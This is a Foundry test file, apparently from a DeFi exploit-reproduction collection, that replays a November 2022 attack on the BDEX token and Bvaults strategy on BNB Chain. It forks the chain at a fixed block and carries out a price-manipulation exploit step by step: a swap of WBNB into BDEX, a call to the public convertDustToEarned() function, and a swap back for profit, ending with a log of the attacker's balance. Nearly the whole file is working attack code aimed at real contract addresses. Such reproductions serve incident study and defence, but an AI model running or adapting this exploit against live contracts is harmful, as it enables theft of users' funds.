src/test/2022-11/BDEX_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2 
3pragma solidity ^0.8.10;
4 
5import "forge-std/Test.sol";
6import "./../interface.sol";
7 
8// @Analysis
9// https://twitter.com/BeosinAlert/status/1588579143830343683
10// TX
11// https://bscscan.com/tx/0xe7b7c974e51d8bca3617f927f86bf907a25991fe654f457991cbf656b190fe94
12 
13interface BvaultsStrategy {
14    function convertDustToEarned() external;
15}
16 
17interface BPair {
18    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
19    function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast);
20}
21 
22contract ContractTest is Test {
23    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
24    IERC20 BDEX = IERC20(0x7E0F01918D92b2750bbb18fcebeEDD5B94ebB867);
25    BvaultsStrategy vaultsStrategy = BvaultsStrategy(0xB2B1DC3204ee8899d6575F419e72B53E370F6B20);
26    BPair Pair = BPair(0x5587ba40B8B1cE090d1a61b293640a7D86Fc4c2D);
27 
28    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
29 
30    function setUp() public {
31        // the ankr rpc maybe dont work , please use QuickNode
32        cheats.createSelectFork("bsc", 22_629_431);
33    }
34 
35    function testExploit() public {
36        address(WBNB).call{value: 34 ether}("");
37        uint256 amountin = WBNB.balanceOf(address(this));
38        WBNB.transfer(address(Pair), amountin);
39        (uint256 BDEXReserve, uint256 WBNBReserve,) = Pair.getReserves();
40        uint256 amountout = (998 * amountin * BDEXReserve) / (1000 * WBNBReserve + 998 * amountin);
41        Pair.swap(amountout, 0, address(this), "");
42        vaultsStrategy.convertDustToEarned();
43        uint256 amountBDEX = BDEX.balanceOf(address(this));
44        BDEX.transfer(address(Pair), amountBDEX);
45        (uint256 BDEXReserve1, uint256 WBNBReserve1,) = Pair.getReserves();
46        uint256 amountWBNB = (998 * amountBDEX * WBNBReserve1) / (1000 * BDEXReserve1 + 998 * amountBDEX);
47        Pair.swap(0, amountWBNB, address(this), "");
48        address(WBNB).call(abi.encodeWithSignature("withdraw(uint256)", 34 * 1e18));
49 
50        emit log_named_decimal_uint("[End] Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), 18);
51    }
52 
53    receive() external payable {}
54}